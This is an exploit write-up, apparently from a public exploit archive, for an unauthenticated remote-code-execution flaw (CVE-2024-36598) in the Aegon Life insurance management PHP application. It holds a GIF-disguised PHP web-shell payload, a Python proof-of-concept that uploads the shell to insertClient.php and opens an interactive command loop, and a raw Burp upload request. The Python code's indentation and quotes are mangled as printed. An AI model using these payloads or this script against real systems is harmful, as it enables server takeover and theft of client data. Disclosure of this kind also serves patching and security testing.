Exploit Title: Life Insurance Management System- Unauthenticated Remote Code Execution (RCE)

Exploit Author: Aslam Anwar Mahimkar

Date: 18-05-2024

Category: Web application

Vendor Homepage: https://projectworlds.in/

Software Link: https://projectworlds.in/life-insurance-management-system-in-php/

Version: AEGON LIFE v1.0

Tested on: Linux

CVE: CVE-2024-36598

Description:

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-An arbitrary file upload vulnerability in Aegon Life v1.0 allows attackers to execute arbitrary code via uploading a crafted PHP file by adding image/gif magic bytes in payload.

-In insertClient.php fileToUpload is only checking for image file but not checking for extensions, also header.php is not properly handling the redirection hence allowing Unauthenticated redirect.

Payload:

---

payload = “GIF89a;’<?php echo shell_exec($_GET[‘cmd’]); ?>’”

RCE via executing exploit:

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# Step : run the exploit in python with this command: python3 shell.py  http://localhost/lims/  
# will lead to RCE shell.

POC

import argparse
import random
import requests
import string
import sys

parser = argparse.ArgumentParser()
parser.add_argument(‘url’, action=’store’, help=’The URL of the target.’)
args = parser.parse_args()

url = args.url.rstrip(‘/’)
random_file = '’.join(random.choice(string.ascii_letters + string.digits) for i in range(10))

payload = “GIF89a;’<?php echo shell_exec($_GET[‘cmd’]); ?>’”

file = {’fileToUpload’: (random_file + '.php’, payload, ‘text/php’)}
print(‘> Attempting to upload PHP web shell…’)
r = requests.post(url + '/insertClient.php’, files=file, data={’agent_id’:’’}, verify=False)
print(‘> Verifying shell upload…’)
r = requests.get(url + ‘/uploads/’ + random_file + '.php’, params={’cmd’:’echo ' + random_file}, verify=False)

if random_file in r.text:
print('> Web shell uploaded to ' + url + ‘/uploads/’ + random_file + ‘.php’)
print('> Example command usage: ' + url + ‘/uploads/’ + random_file + ‘.php?cmd=whoami’)
launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
if launch_shell.lower() == 'y’:
while True:
cmd = str(input('RCE $ '))
if cmd == 'exit’:
sys.exit(0)
r = requests.get(url + ‘/uploads/’ + random_file + '.php’, params={’cmd’:cmd}, verify=False)
print(r.text)
else:
if r.status_code == 200:
print('> Web shell uploaded to ' + url + ‘/uploads/’ + random_file + ‘.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.’)
else:
print(‘> Web shell failed to upload! The web server may not have write permissions.’)

---

Can also performed manually.

Payload:

GIF89a;
<?php
echo"<pre>";
passthru($_GET[‘cmd’]);
echo"<pre>";
?>

Attack Vectors:

---

After uploading malicious image can access it to get the shell

http://localhost/lims/uploads/shell2.gif.php?cmd=id

Burp Suit Request

POST /lims/insertClient.php HTTP/1.1
Host: localhost
Content-Length: 2197
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: “”
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5plGALZGPOOdBlF0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/lims/addClient.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="client_id"

1716015032

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="client_password"

Password

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="name"

Test

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="fileToUpload"; filename="shell2.gif.php"
Content-Type: application/x-php

GIF89a;
<?php
echo"<pre>";
passthru($_GET[‘cmd’]);
echo"<pre>";
?>

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="sex"

Male

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="birth_date"

1/1/1988

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="maritial_status"

M

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="nid"

1

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="phone"

1

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="address"

1

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="policy_id"

1

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="agent_id"

Agent007

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="nominee_id"

1716015032-275794639

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="nominee_name"

Test1

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="nominee_sex"

1

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="nominee_birth_date"

1

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="nominee_nid"

1

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="nominee_relationship"

1

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="priority"

1

------WebKitFormBoundary5plGALZGPOOdBlF0
Content-Disposition: form-data; name="nominee_phone"

1
------WebKitFormBoundary5plGALZGPOOdBlF0